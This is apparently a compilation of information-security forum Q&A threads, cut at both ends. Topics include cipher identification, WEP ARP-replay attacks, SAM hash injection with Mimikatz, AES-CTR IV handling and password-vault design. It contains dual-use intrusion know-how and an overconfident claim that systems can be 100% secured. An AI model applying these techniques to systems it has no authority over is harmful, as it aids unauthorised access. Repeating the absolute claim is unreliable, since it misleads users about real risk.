I say this because what you're currently doing is only just as secure as sending over the username and password over HTTPS anyways! All you add is a couple of extra setup communications. The vulnerabilities of this implementation as well as the vulnerabilities of HTTPS sending of password and username are exactly the same.

Let's break down the example:

Setting up and using the secret

Establish secure connection
Send payload to be stored
Confirm payload, and if confirmed log in

Setting up and using a password

Establish secure connection
Send payload to be stored
Confirm payload, and if confirmed log in

These steps are exactly the same, and provide no extra security. If a full takeover(MITM/system level) happens, the same thing that would happen with a username and password will happen to your system. The attacker will still see all data as it is transferred and accessed between your system and the server. This is why full takeovers are so dangerous. There's basically nothing you can do to protect the user. The user is using a system of communication that is no longer theirs, but the attackers and that attacker can see, and use everything in the communication.

Really all you're doing is generating a secret(commonly called a password) to be stored, and some meta data(commonly called a username) to identify it. If the meta data and secret match an entry, you retrieve that information. The only advantage you're gaining is that the user gets an extra long password. But to what end? Bcrypt has a maximum character length, so you're limiting the number of characters the individual password can have. You now also have that shared secret to worry over getting the same every time or your user or they can never log in.

Passwords and usernames over HTTPS have been used so much so often because after a certain point(the HTTPS connection) there is nothing you can do to increase security. If someone gets access to all communications, or to memory space all of your techniques have just been defeated since they just have to recreate your steps and you may never even know until they carry out their attack.

*: As of last week this phrase is now macroed on my keyboard...
*: Security theater is the act of putting practices into place that do nothing to improve security, and may actually harm it!


For someone who has a key and ciphertext, is it possible to find out what encryption algorithm was used? For someone who has a key and ciphertext, is it possible to find out what encryption algorithm was used?

In order to find out which encryption method was used, the first thing you can do is look at the length of the key and ciphertext in order to limit and rank the likelihood of the possible candidates:

With a keysize of n bits, obviously only encryption schemes apply that support keys of this size. For example: if n is 168, you can be pretty sure the 3DES block cipher is used (you don't yet know the mode of operation, though); if n equals 128 or 256, the list of likely ciphers is a bit longer.
If the ciphertext length is a multiple of 128 bits (a common scenario), there is a good chance a block cipher that uses this block size (probably AES) was used in the extremely common CBC mode. When the ciphertext size is not a multiple of 128 or 64 bits, you can be pretty sure you're looking at something encrypted with either a stream cipher, or a block cipher using something like CTR or GCM mode.
Certain ciphers are very common (particularly AES-CBC), test these first.

Next, you can simply try the candidates one by one until you end up with a plaintext that does not look like random gibberish. If an authenticated encryption scheme is used, you don't even need to look at the plaintext because the algorithm tells you when it is correct.

Of course you will still need to somehow distinguish 'random gibberish' from a proper plaintext. Because the number of common encryption schemes that are commonly used is quite limited, it is probably enough to just print the decryption result to a text file and let a human look at them. If you want to check for valid plaintexts in an automated manner, you will either need to utilise some knowledge about the encrypted material (for instance, that it contains a UTF-8 encoded text or that it is a JPEG image) or run some simple statistical test. Note that you will probably not succeed at all if the plaintext is actually a sequence of randomly generated bytes not known by you.

Some matters can make this process more complicated: almost all encryption schemes require an IV or nonce that are essential for decrypting the ciphertext. This IV/nonce is probably prepended or appended to the ciphertext, but if not it might depend on the context of the cryptographic protocol. If you really have no idea what the IV/nonce might be, you could always try a few small numbers, hoping that sequence numbering is used to determine the IV.

Also note that the data you think is a ciphertext might actually contain more that just encrypted data. Besides the IV or nonce mentioned above, a MAC (message authentication code) or authentication tag may have been appended or prepended. If it is appended, it will probably not be problematic; but if your ciphertext starts with it you might accidentally start decrypting it and thus obfuscating the rest of the plaintext.

Last but not least there are also cascaded ciphers: multiple encryption algorithms with which the data is encrypted in succession. If you want to check all of them (up to a certain maximum of ciphers used), they could grow your search space significantly. However, only a limited number of different cascaded encryption schemes are used in practice, so this will probably not be much of a problem.

If all of this fails, it may be the case that an obscure cipher is used that you have no knowledge of. In this case you can hope it's crappy DIY-encryption and you can start trying to perform some actual cryptanalys on it.


Why do you need to close your browser window after logging out of a website? I might be wrong, but I believe the request to close the browser window after logging out is common, though it's completely unclear what the risks might be of failing to close a browser window (assuming the browser is completely up-to-date) and why more importantly browsers are not able to mitigate the threat without closing the browser window. Lastly, is closing the browser better than just closing a window/tab within the browser?

After a bit of searching, it seems some banks are giving this advice following an attack on a bank that allowed users or malicious websites to reuse persistent cookies after a user had logged out, allegedly because other browser tabs were left open on the site in question and so the browser had not cleared the cookies yet.

The reason such a vulnerability would be possible indicates either of the two following security mechanisms has failed:

The browser had not imposed a strict same-origin policy between sites, allowing a third-party site to access your bank site's cookies (OR for shared computers, you left a tab open and that tab was used by an untrusted third-party user)
The bank website has not, or incorrectly, invalidated your cookies as it has logged you out

As far as I'm concerned, I can already conclude that this "advice" is security theater used by some websites to reject their own responsibilities onto users. Which is, obviously, very wrong as it incentivises users to waste effort and time applying silly measures instead of actually fixing the problem where it occurs.

Websites have two duties when logging a user out, according to OWASP:

Invalidate the user state on the server's side, which will prevent any client query being replayed or crafted
Invalidate the session cookie (as well as cookies that contain information normally accessible only to users authenticated on the website, for web apps) on the browser, to ensure no information remains available for the next user of the client browser
Websites can even go a bit further and ensure that all open tabs on a device are refreshed on user logout. This can even remove the need for users to ensure they closed all their tabs behind them.

Thus, in a world where website developers respect their duties, there should be no basis for following such silly advice. And if websites don't, they're likely to be liable for not taking the necessary means to protect users' personal data.


Attacking WEP -- Question on Packet Injection When attacking WEP, one must use a wireless card which supports packet injection. I have two questions about this.

(1) As long as we have a busy network, why would we need packet injection? I thought the sole purpose of packet injection is to increase network traffic. If we already have enough traffic, we should not need injection. In other-wards, why is the packet injection feature made a requirement when it seems to be something optional?

(2) Packet injection seems to be done via ARP packets -- i.e., the attacker sends spoofed ARP packets to the AP. Now, when one sends out an ARP packet, the reply is an ARP packet (and I believe the returned ARP packets are not encrypted). Since ARP packets are not encrypted, how does their generation help speed up the attack? I thought the attack is speeded up by the availability of more encrypted packets as opposed to just the availability of more packets.

(1) You are correct, if you have traffic on the AP you're sniffing you can get enough IV just beeing passive, there's no need to inject ARP request to generate new IV to crack WEP.

(2) The encryption is done at the network layer, ARP is on the data-link layer, so no, it's not encrypted, as stated in it's definition RFC826 ARP is broadcast, so why would you even want to encrypt it? Sorry for the misleading answer / wrong information.

(2) ARP response packets actually are encrypted and this is actually how it helps with the generation of IVs.

How ARP Request Replay Attack works:

  The classic ARP request replay attack is the most effective way to generate new initialization vectors (IVs), and works very reliably. The program listens for an ARP packet then retransmits it back to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IVs. It is all these new IVs which allow you to determine the WEP key.

So basically you just listen for ARP and then retransmits it so generate more IVS enought to crack WEP.


What would be the effects of a limited Russian/US cyber conflict be on cyber-security professionals? In an interview with NPR's Steve Inskeep that is airing Friday on Morning Edition, Obama said, "I think there is no doubt that when any foreign government tries to impact the integrity of our elections ... we need to take action. And we will — at a time and place of our own choosing. Some of it may be explicit and publicized; some of it may not be."
- Source

What will cyber-security professionals, working in the civilian world, see as a result of increased tension between these two major powers?

Are there any actions that a reasonable practitioner should take now in order to prepare for a foreseeable cyber conflict? How do those actions differ what should be done in the absence of this conflict?

any actions that a reasonable practitioner should take now

Generally speaking you should secure the systems you are responsible for so that they cannot be hacked. (but DoS would still be possible)

  How do those actions differ what should be done in the absence of this conflict?

If you were in a government position, or had government client (military, etc.), your services may be used more frequently.

But, generally speaking, systems are either secure, or they are insecure. So if you are successful at securing your systems then there's not much else to do.

Some security angles may not be receiving sufficient attention. For example an employee may bring in a foreign flash drive that installs a virus on his/her Windows machine. You should have solutions to prevent such attack vectors from being successful.

But just understand, it is possible to 100% secure a system (except from DoS).

Personally, I see successful & significant attacks as showing two issues:

The attacker is doing an unlawful act and should be prosecuted.
The developer provided weak software.

(security is by design, not an after-thought or patch)

A couple other thoughts:

Counter-attacks (as in traditional warfare) do not solve the problem.
Stopping the attacks from being attempted is not nearly as practical as securing the system in the first place.
Security is not a matter of 'strength', as it is about 'mistakes'. In traditional warefare you need a gun that is stronger than the armor. However, in cyberwarefare (again, refering to theft and hacks, not DoS), strength does not matter. It's just a matter of whether the attacker can find a hole.

Note: This answer does not address human factors. (trickory, phishing, etc.) That's a lot more detailed than I want to get in to right now.

DoS can be explained in a separate question since it is handled differently from software secure design.


Is it any more secure to use a HTML form instead of a javascript popup? Assuming both use session authentication, token validation and forced https:

Is there any difference in security between submitting data via a JS popup <> ajax endpoint, and a standard web page form?

The Same-Origin Policy does not differentiate between HTML and JavaScript in the context of data-access.  An HTML form exists within the DOM within the website's context, and JavaScript is bound to this same context. In both implementations Cross-site Scripting can be used to undermine the Same-Origin Policy and obtain sensitive information.


Are Three attempts to block login a good idea? In the company that I work there is a security rule:

If you enter your password 3 times wrong, your login will be blocked!

Then I have to go to mainframe program and re-register my new password. First I make a login in this program with my blocked password, so it still works for this.

If I type the password wrong 8 times in this program, only my boss can unlock my accuont.

The major problem is the firewall. If this is configured with a wrong password, is easy for firewall try more than 3 times. This can be a headache to fix.

Is this a common security rule or just a stupid one?

While Rory's answer is pretty much spot-on, I'd also add that account lockout after X attempts, in certain contexts, can be an easy way to cause a denial of service (DoS) against a legitimate user.

Imagine if a webmail provider (like gmail) worked this way.  If I want to cause you a temporary DoS, all I'd need to do is try to login as you with three (or 5, or however many it takes... the actual number doesn't really matter too much) times with the wrong password.  The webmail provider would then lock your account and when you, even though you know your password, went to log in, it would not authenticate you.

This is why such lockout policies aren't too common with publicly-accessible sites these days.  A better approach is to put an increasingly larger delay between password prompts, which will deter script-kiddies but still allow you a chance to enter your password. Even better is using another factor, like the source IP of the login attempts in deciding to slow-down the login prompt (or display a captcha in the case of Google accounts).

Just something to think about when debating this type of policy.  Cheers.


Using unencrypted protocols with IoT devices Old IoT devices and some low-power devices are not capable of doing encryption or use weak encryption methods like TLSv1.0. What could be the risks of using such devices and unencrypted protocols like HTTP?

The same as using plaintext (unencrypted and unauthenticated) communication elsewhere.

What exactly that means, depends on your threat model.

Smart Bulb, Dumb Protocol

Imagine you had a smart lightbulb in your home. You could use an app to control the brightness and the warmth of the bulb. It even offers an API, so you can control it via a Raspberry Pi too, if you wanted. Sadly, the bulb doesn't offer HTTPS, so all your communication is in clear text.

It may sound terrible, but it's probably fine. Why? Because in order for an attacker to do something about it, they'd need to be in the same network as you. And if the attacker is already in your home network, then you probably have more problems than a dumb smart bulb.

But what could an attacker do?

For once, an attacker can read what you send to the bulb, and what the bulb sends in return. This is most likely something like:

POST /api/brightness HTTP/1.1
Host: smartbulb.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

brightness=0.73

And the response would be something like:

HTTP/1.1 200 OK

{"error":false, "status":"STATUS_SUCCESS", "data":{"newBrightness":0.73}}

All in all, very boring data. Yes, technically, your confidentiality was violated, but in this scenario, that's not very problematic. The attacker knows your bulb is set to 73% brightness.

Of course, an active attacker could do more. They could modify what you send to the device, and also what the device returns. Depending on what you do with the data, this might be dangerous.

How can I protect myself?

You can't. Well, technically you can, but it requires some fiddling. Okay, a lot of fiddling. If an IoT device does some task like sending e-mails, but doesn't encrypt them, you can at least use a proxy to remove any sensitive information before an e-mail is sent. It's a lot of work, and will give you very little benefit.

It's easier to just forbid communication with the outside world, if this is possible.

How can developers fix this mess?

Developers can use ciphers specifically designed to require low power consumption and low memory requirements. Yes, it'll make the product more complex to design, and it will make the end result more expensive, but it's more secure than the alternative.


private key of SSL certificate To create a certificate, first we need to fill a CSR and in CSR we have to place our public key and that key pair can be generated by different ways in different devices. To do ssh, we run command (crypto key generate RSA modules 1024) and generate the key pair.

Now with the help of this command we are generating public and private key for SSH  which will help in encryption but the same key can be placed in CSR and from that CSR we can generate a certificate. Is it correct?

Where is the private key stored? I know the private key is very sensitive data but still if I am a server admin of a server or a firewall and want to see the private key then how can we check that? is there is a command for that?

While essentially, SSL and SSH can use the same algorithms and keys, your life will be a lot simpler if you create your CSR with a tool designed for the job (and you should never use re-use keys for different purposes).

On MS Windows you can do this with certreq, or the MMC snap-in for certificates, but I find the tool bundled with IIS easiest to use. For preference I would use openssl with template conf files.

The private key is stored wherever you tell the software to store the private key.


Can javascript code served by a server under HTTPS talk to another server under a subdomain with a different certificate? Lets assume we have two servers :
(1) https://adomain.com
(2) https://abc.x.adomain.com
The each have different certificates, (2) has a wildcard and (1) does not.
If we remove https from the picture, the two servers can "share" cookies provided that the cookies have domain=".adomain.com"
questions :

Can a page served by (1) call (2) by javascript ?

Can (1) and (2) "share" cookies ?

Can a page served by (1) call (2) by javascript ?

Yes, using Cross-origin resource sharing (aka CORS).

Access-Control-Allow-Origin: https://adomain.com
Access-Control-Allow-Methods: GET, POST

  Can (1) and (2) "share" cookies ?

Yes, you can share cookies setting them to domain = ".adomain.com".


How do session keys in public key cryptography work? I have read that a session key is symmetric, and it is encrypted by recipient's public key;

When "Bob" receives a message, does he decrypt it with his private key and he's then in possession of an encrypted message and a session key, which he then uses to decrypt the message?

If my understanding is correct, anyone in possession of Bob's private key can easily determine the session key and decrypt the message. Or did I misunderstand this?

What is a session key?

  A session key is a single-use symmetric key used for encrypting all messages in one communication session.

Scenario:

  Alice would like to establish a secure communication with Bob. But she cannot provide the key in plain text, otherwise someone sniffing the communication might be able to decrypt the information later on. What does she do?

Solution:

  She sends a symmetric key securely by making use of an asymmetric algorithm. Why not simply doing all the communication with asymmetric algorithm? Because symmetric is way faster!

  Implementation:

  Alice generates a symmetric key
  Alice encrypts an e-mail including the symmetric key by using Bob's public key and send it to him
  Bob, the only one who can decrypt the message since he has the respective private key, is able to securely get the symmetric key.
  Communication can now be sent by Alice and read by Bob


X.509 - How Is Certificate Chain of Trust "Subject Name"-"Issuer Name" Match Comparison Made? I keep reading that in an X.509 certificate chain of trust that the "Issuer Name" in a certificate that has been signed by the Issuer must "match" the "Subject Name" of the Issuer's certificate.  Exactly how is this match determined?  Do all of the RDNs (Relative Distinguished Names) have to match between both the Subject Name and Issuer Name or is the match determined solely by the RDNs that are present in the Issuer certificate's Subject Name, or is some other match algorithm at work?

As per RFC 5280 §4.1.2.4 (and as specified in §7.1), binding is done by using case-insensitive match between Issuer distinguished name string of leaf certificate and Subject distinguished name string of a potential issuer.
Bear in mind that Key Match, Exact Match, Name Match techniques are used only to bind certificates and build as much chains as possible (build complete chain tree). It doesn't tell anything about trust/validity. When completed, tree is passed to validation routine which excludes invalid/non-suitable certificates and returns only single best chain. Full validation process is defined in RFC 5280 §6.
Certificate validation is a 3-step process:

Tree building (from leaf to root)
Tree validation (from root to leaf)
Revocation checking (from leaf to root)

Name Match binding is used only during first process.


Inject hash into sam file. Is possible? I have a very uncommon scenario. I have a Windows 10 laptop with a specific configuration. On that configuration there is a user (local user, not domain user) which I don't know its password. I want to migrate that user to other Windows 10 computer trying to keep its password.

Of course I already tried to decrypt the password. I already extracted the hash from sam file and tried some unsuccessfully rainbow tables attacks using ophcrack, but the target is not hack the account, the point is try to create the user in the same state on a new laptop. I already have administrator rights on both laptops. I tried also unsuccessfully metasploit+mimikatz but the user never logged on the computer so I guess mimikatz can't work on this.

Does anybody know a way to achieve something like this?

This is definitely possible after a recent updates to both Mimikatz and Meterpreter. Please refer to the following links:

https://github.com/rapid7/metasploit-framework/pull/8549
https://twitter.com/gentilkiwi/status/872588656967548928

Good luck!


How should we store and share information about our security protocols and plans? I'm assuming that it's a good idea to document your security protocols, response plans, and attack surfaces.

Of course, if you simply stick all of that information on GitHub (minus your secret of course), then it gives attackers a map of your system and the things that you're thinking about (and thus the things you may not have thought about).

Are there any kinds of recommendations or real-world experiences about sharing this information, or should we simply treat this information/document(s) as another attack surface (and potential target for attack)?

What you are looking for is the term "Operational Security" or "OpSec". You want to keep secret the details of what you will do, in any situation. These details give outside observers the ability to craft approaches and know how (and when) you will respond. The documents you outline are not to be classified as Public data.

The only people who should have access to this data are the ones with a legitimate "need-to-know". This basis forms all authorisations to access any data. The Public has no need to know. Many in your organisation have no need to know.

Only permit access to those who need the data in order to perform their jobs.

If you are looking for official recommendations about response plans, ISO 27035:2011 5.4.4 says:

  It may also be important to keep some details of the information
  security incident management scheme closely held to prevent an insider
  from tampering with the investigation process. For example, if a bank
  employee who is embezzling funds is aware of some details of the
  scheme, he or she may be able to better hide their activities from
  investigators or otherwise hamper the detection, investigation of and
  recovery from an information security incident.


Is it possible to track a SIM card even if the cell phone is turned off? I'm wondering if it is technically possible to track a SIM card inserted in a cell phone with sufficiently charge in the battery.

No.

A SIM card only provides the device with a unique identifier and related information. It does not have any in-built wireless capabilities. In order for a mobile device to be tracked, it needs to be connected (or trying to connect) to a cell tower. Both receiving and transmitting non-negligible amounts of RF requires power to be provided by the battery. If the device is off then so is the transmitter, regardless of whether or not the battery has any remaining charge.


Is leaking the hash of your encryption key a security risk? I've been trying to design a simple archive format, that allows me to just bundle a bunch of encrypted files together.

The idea, I currently have is to embed not the encryption key but a truncated hash of the encryption key in the message.

I'm assuming that both the sender and receiver has already obtained the symmetric encryption key but I need a method of communication that allows me to identify the key and I have been considering simply sending a truncated secure hash of the key itself but I'm unsure whether this actually compromises the integrity of the cipher.

Specifically, I'm using SHA-1 and AES-128, I'm worried that this approach will effectively reduce the security to a matter of brute forcing all 128 bit keys that produce a SHA-1 collision and that this simply is trivial to do, in that it completely renders the AES cipher, useless.

While I truncate the SHA-1 hash, I still leak 16 bytes of the SHA-1 hash that corresponds to the symmetric key used. So there is ambiguity there but probably not enough.

I'd really like to be able to identity what encryption key was used to encrypt the message in a secure manner without having to introduce some sort of ID sequence or external bookkeeping but maybe I'm trying to solve the impossible here.

Any input on this matter is greatly appreciated.

If each entity, who wants to decrypt the file, only knows a few possible keys, then the simplest solution is to just try all these keys. This assumes that your encryption mechanism includes a MAC, as it should anyway. The MAC will tell you whether the data is valid or not, which traps both data alterations (malicious or not), and the simpler case of using a wrong key. Combining MAC and encryption is fraught with peril and thus you are encourage to use a mode which combines the MAC and the encryption in a safe way (EAX, GCM...).

If an entity who wants to decrypt the data knows a lot of potential encryption keys, trying them all could be inefficient, in which case including a key identifier in the file header may help. The hash of the key is not bad and will not induce extra risks as long as the hash is "sufficiently distinct" from the key processing for encryption. These are dangerous waters -- properly qualifying this property, in a scientific way, is already hard enough. A cryptographically sound way is the following: from the shared key K, compute SHA-256(K). This yields 256 bits. Split that in two halves: the first 128 bits will be your "key identifier" (which can be included in the file header), while the other 128 bits will be the symmetric key actually used to encrypt the data.


Ring Oscillator: True Random Number Generator (TRNG) vs Physically Unclonable Function (PUF) Ring oscillators can be used in hardware true random number generators (TRNG), and also in physically unclonable functions (PUFs).

The designs seem fairly similar:

TRNG based on ring oscillators:

Ring Oscillator PUF:

The idea of a PUF is that it creates the same pre-defined (but seemingly random) response for every challenge, while the idea of a TRNG is that it creates truly random output.

My questions are:

How can a ring oscillator be the main element for both of these functionalities? One seems to rely on the fact that the state of the oscillator can be predicted, while the other relies on the opposite. This seems contradictory to me.
Does it have something to do with the XOR, which (semi-)randomly combines the outputs in the case of the TRNG, whereas the multiplexer in the PUF regulates the output? Or does it have to do with how long the oscillators are running?
If this is so, is a ring oscillator TRNG actually truly random?

In the TRNG construction, the rings do not have a common enable signal, the only point in time where they are synchronized is at power up. Then they run freely, each at its own pace. This does not create a great deal of randomness per se but that does generate a lot of glitches at the flipflop inputs. The hope is create more randomness out of meta-stability.
For the PUF there is a common enable so the ring oscillators are racing against each other with a common synchronizing point at the start. The challenge input selects which instances are competing. For a given challenge and a given chip, the outcome of the race tends to have always the same outcome as the precise frequency of each ring depends on the precise physical characteristics of each of their stages.

It is not related to how long the RO are running, this is just how the outputs are used which makes the difference. You can even remove the enable signal in the PUF, that will still work because what counts is the difference in the frequencies while for the TRNG this is the actual output values at the time of sampling that matters.

That TRNG may be truly random but it is tricky to get right (to get a high data rate). Other constructions relying on asynchronous rings or chaotic maps are a safer bet.


Using AES in CTR for TCP/IP based network connections - need to encrypt the IVs? For AES based encryption on TCP/IP connections, I am guessing I have to do the following:

Have the 2 parties share a common key, assuming I am doing AES-128 then a sequence of 16 bytes. Ideally the bits are securely random.
Since we are running AES in CTR mode and the secret key is fixed, we must choose a securely random IV for each stream instance. Since a TCP/IP connection is actually full-duplex I assume I need 2 IVs per connection, one for each direction. I also need to transmit each IV to the other end in order for the corresponding stream to be decrypted.

Edit note: the scheme described above is prone to replay attacks. Maybe a better scheme is to send the decipher IVs to the other party and force the other party to encrypt a constant, and if we can decipher to get the constant back then the other end is authenticated. Also the scheme does not ensure message integrity.

My question is, for the IVs, should I be encrypting the IVs with my secret key before sending them over? I was told IVs don't have to be kept secret. Is there any security benefits if I do encrypt them before sending across?

ps. you may wonder why I am not using SSL/TLS. Our application does support SSL/TLS, but we also want to support alternate symmetric encryption mode where connection overhead can be minimized, as clients constantly disconnect and reconnect.

No, you don't encrypt IVs. They need to be never, ever reused, but that's pretty much it for IV requirements for CTR mode -- there's absolutely no need to keep them confidential. Moreover, you affirmatively shouldn't encrypt your IV with the key used to encrypt your message -- depending on your padding scheme, that can very well expose one of the blocks of your message. Under no circumstances will it improve security; any vulnerability in CTR mode will be a vulnerability here as well.

Recall how CTR mode works. In CTR mode, the actual data is never passed as input to the block cipher. Instead, you concatenate a shorter-than-block IV and a shorter-than-block counter, encrypt that, and XOR with the data. An attacker who recovers the encryption of IV||n can recover the n-th block.

Now, you can't encrypt the IV by itself. It's actually impossible: the IV is sub-block-length, and AES is incapable of encrypting anything that isn't an exact multiple of the length of a block. You need to pad your IV to encrypt it (the reason CTR normally doesn't use padding is that you don't pass the data to AES; if you did, you would need padding). Suppose your padding scheme pads with zeroes and then tacks the length of the message on the end (all common padding schemes have to have the message length show up somewhere, because if you just zero-padded then "john0" and "john" would both become "john000...000"). For your 64-bit IV, the padding would turn IV into IV||0x00...01000000; you would then encrypt that and tack it on the start of your message. But the encryption of that is exactly what you XOR with the 64th block of your message. So by encrypting your IV here, you revealed the 64th block of your message, whereas with an unencrypted IV it was secure.

(incidentally: When people say "don't roll your own crypto, it's easy to make subtle mistakes," this is one such subtle mistake. If you're new to crypto, it might seem more secure to encrypt your IV. You have to pad it, so you might pick the fairly reasonable-seeming zero padding with a length tag. Doing so here lets an attacker read a block of your ciphertext.)

The only way around this is to pad such that the padded IV will never be encrypted to generate keystream material. Pretty much the best way to achieve this is to agree on IV length or send IV length cleartext, encrypt all zeroes for the first block, and then not send the IV (on the other end, the decrypted first block gives IV|0x00...01, which you can take the first bunch of bits for to get the IV). Any encryption of the IV, if the padding scheme is "stick this stuff which is k in hex, on the end of the IV", is equivalent to making block k consist of all zeroes. If you look at it like this, you can see that just about any CTR vulnerability will also affect your scheme. The only vulnerabilities related to the attacker knowing the IV, on the other hand, would indicate a serious flaw in AES itself, one which means any scheme using it is instantly suspect.

So no, it's a bad idea to encrypt the IV. If you must do it, the way to do it is to make the first block of your message all zeroes, not send the IV, and on the other end decrypt the first block and take the first 64 bits (or however long your IVs are) as your IV; that won't be less secure than regular CTR. However, it won't be more secure either, because any flaw in AES-CTR related to the IV makes all AES modes presumptively unsafe.


Is it possible to make a web page that contains a Python script? Is it possible to insert a Python script into a web page?
When a target (another PC, not mine) goes on this page it sees a normal picture and it thinks it is a normal joke. But before it sees this picture, a simple Python script (e.g. a TCP client sending the current time on the machine that surf the page) is executed.

How can I do this?

You cannot execute Python from a browser, browsers don't understand Python. What's more, the browser is deliberately restricted to what it can do on your local machine.

It might be possible to write a browser addin that allowed execution of Python. This is why it is important to think carefully about the addins/extensions you allow.

JavaScript is the language of the web and your browser will execute that. But still it is heavily restricted as to what it can do. All modern browsers run in a sandbox that attempts to ensure that any code that it might execute stays in a specific context. Normally, if you load a script from a web site, that script will only execute in that context and only have access to that site plus some local storage associated with that site. You could not, for example, create some JavaScript that deleted files on the C: drive and have that loaded from a server.


Obfuscate Identity for Password Reset Information I am just wondering your opinions on why it would/would not be a good idea to mask or obfuscate email address data in a password reset web submission once the user has entered their username informing them of where the password reset link was sent to.

Example:

"Your password reset link has been sent to Mar************lky@h******.com
If this isn't your address please contact us on 1-800-555-5555."

Large providers, such as Apple and Google, do this to an extent, and I believe it helps users remember what address they set, if they rarely use the service and provides them an opportunity to realize "oh cr@p, I have that old address still!".

Thoughts for pro's and cons would be most welcome!

I believe they do this in order to prevent spammers from entering random usernames and obtaining a list of email addresses, while still reminding the set address to the legitimate user (who might have more than one account).

I personally don't see any major problem with that. Of course, someone might set up an account with an old email address, forget about it, and forget the password, with no chance of resetting it, but that is not a flaw of this mechanism.


How to maximize security for a password repository? I'm creating a password vault, which is consisted of a bunch of HTTP services, a web client, and Android application, and an iOS application.

There is a very simple table called Passwords that has these columns:

Id
UserId
Username
Password
Url
Notes

A user logs in via any client, adds passwords to this repository, and then has access to the list of his passwords.

In fact I'm creating KeePass, but in cloud.

Of course I need to make it as secure as possible. I've configured HTTPS for services, and only HTTPS calls are acceptable. I've also encrypted passwords in the Password column, but all with one key.

What options I can take to maximize the security of this system? Any suggestion, even physical tiering would be so welcomed.

Clarification: As users of modern world, life is getting very complicated for us. Our ancestors only had to deal with few concepts and all they had for security was their shields and spears. Today, each user probably has more than 100 accounts across the entire Internet. I've been the subject of a hack, and I truly lost some things. So I decided to use passwords more securely. KeePass is an outstanding option. But it's usage is offline, and can't be shared across devices. There are services out there, but they are all paid services. At least one free service should exist to help people with their password management problems. That's why I've decided to play my role as much as I can. I can't make this question more specific, as it's already very specified. I need to help people manage their passwords, and have access to it on any device, whenever they want, free. To get there, I need to make the system as secure as possible. Maybe this could become a collaborative effort, just like LetsEncrypt. We deserve to live in security and safety. But we need technology to help us. Now all I'm asking for is for people to give me hints on how to make this system more secure. This is totally objective, answerable as shown already, and relevant to this site as much as I read in help center.

Saving other people's passwords to other services is a very, very bad idea. It means that you now have the ability to steal every single password from your users, because you have the decryption key and your users only have your word that you won't use it. And even if you can convince your users that you are really a paragon of incorruptibility and would never do something like that (don't take it personally, but you certainly won't convince me), there is still the risk that someone will hack you. And considering how valuable you are as a target, many people will try their best to do that. You really can not expect any sane person to put that much trust into you and your operational security.

If you really have your user's best interest and privacy in mind, store their whole password database as a BLOB, encrypted with a key which is under the user's control. Do both the encryption and decryption of the password database on the client-side, so your server never sees the user's key or their data in cleartext. Your client-sided application can derive the key from the user's master-password (which you should not know either) using a key derivation algorithm like PBKDF2.

Problem: When the user forgets their master-password, they lose their whole password database. You can not help them, because by design you don't have the ability to decrypt it.  There is no good workaround for that. Data security always requires some secret, and a secret known to a 3rd party is no secret anymore.


TPM support with OpenSSL FIPS Object Module How can I use a TPM chip along with the OpenSSL FIPS Object Module without modifying OpenSSL FIPS Object Module (to avoid Private Label certification)?

Should we add an engine interface in OpenSSL module as well in OpenSSL FIPS Object Module?

You can start with libengine-pkcs11-openssl. It implements today only RSA keys. Or you can move to NSS instead of OpenSSL.


Is there a problem with this approach to handling invalid web probes? Like any other website owner, I get frequent probes for vulnerabilities e.g. .php .sql or .gz pages.

These used to appear in my log files as 404 responses (we host on ASP.NET Core). These also take up server time and processing as it has to

handle the request in the pipeline
check the static files for a match
check the routing table for a match
redirecting to the error handler middleware
log the error
show the 404 error page

Using postman I see that a generic 404 returns about 5.44kb in HTML

So I've added a middleware handler for requests that checks for requests ending in suspect extensions such as these, which just clears the response with no further processing. This response is now 129 bytes but returns a 200.

My question therefore - Is this a safe approach? I can change the response to 404, although I doubt they'd think the blank response a valid one.

You don't need to care about if the status you return is the most appropriate. It's a scan anyway, and if your code returns a blank page with HTTP 200 status and the scanner segfaults and catches fire, it's not your problem. You must care about legitimate requests, not much about non-legitimate ones.

On my lab servers (online with public IP) I use fail2ban: 4 HTTP 4xx errors bans the IP for an hour. On some places I use a tarpit just for fun, such as LaBrea PHP Tarpit.


How can I (preferably metaphorically) explain DNSSEC without technical jargon? How can I explain a non-technical person the purpose of Domain Name System Security Extensions (DNSSEC) and the risks of not using DNSSEC? It would be nice to use a metaphor, so that it's also easy to remember for a non-technical person.

Regular DNS responses are like business cards - while you can generally trust them when someone hands theirs to you, they're actually just ink and card stock, and anyone who is even a little motivated can get their own made by a print shop.  And there's no way to enforce their validity; I can go to (for example) VistaPrint and they'll ship my "He-Man, Master of the Universe" cards right to me.

DNSSEC DNS responses are like drivers licenses.  They've got a picture.  They've got a mag strip with a copy of the information.  They've got holographs that are difficult to forge.  They've got layers printed in special ink that only show up under ultraviolet light.  In short, a number of technical measures have been taken to make them hard to forge.

When authentic data is important, DNSSEC/licenses are preferred.  Just as the Post Office requires a license and not a business card for identification, so your business might require DNSSEC data for use in connecting to your bank.


Is It More Secure to Use Firewalls from Two Different Vendors? The topic is "Is It More Secure to Use Firewalls from Two Different Vendors "
Is not much safer using a multi-vendor firewall because "More than 95% of firewall breaches are caused by firewall misconfigurations, not firewall flaws."

  Now, I want to use different vendors because if there is an
  vulnerability with one firewall, maybe a firewall from a different
  vendor does not have this vulnerability.is it, right ?

It's an interesting question, and actually, I've seen setups like this in my job, for example, I've seen one company use a Cisco ASA and then right behind it a Checkpoint firewall, and to be honest I can see the method to the madness.

However, considering a lot of firewalls issues are actually caused by a misconfiguration as stated in your post, so realistically, I don't see it making a massive impact.

When vulnerabilities are found in firewalls (and other products) most of the time they're rectified by the product security response teams very quickly, and usually all that's required is putting a new version of firmware on the device. The faster you carry out this upgrade the better. In general, I don't see this making a huge difference, if your firewall is proactively maintained and security threats are responded to quickly, I am not sure spending extra money and resources on maintaining two different firewalls is all that worth it.

In the end, it comes down to your threat model and your budget, I would say if you are protecting something really valuable, two different firewalls from different vendors is potentially beneficial - in the end, it is quite hard to answer this question as it does, in reality, come down to your threat model.


Why is 8ms a goal for hashing? I'm currently developing a small project in PHP, and as it involves user authentication, I've been researching what options I've got regarding hashing. I've settled on PBKDF2 primarily due to it's iterative nature, flexibility with hash algorithms, and extendibility.

What I've been reading is that 8ms (or 0.008 seconds) is something of a goal for generating a hash. Why is this specific value the goal? I understand the reasoning behind making it take more time to generate a hash, but why 8ms specifically? It it simply a good balanced value between time taken and security, or is there a more specific reason?

Theoretical

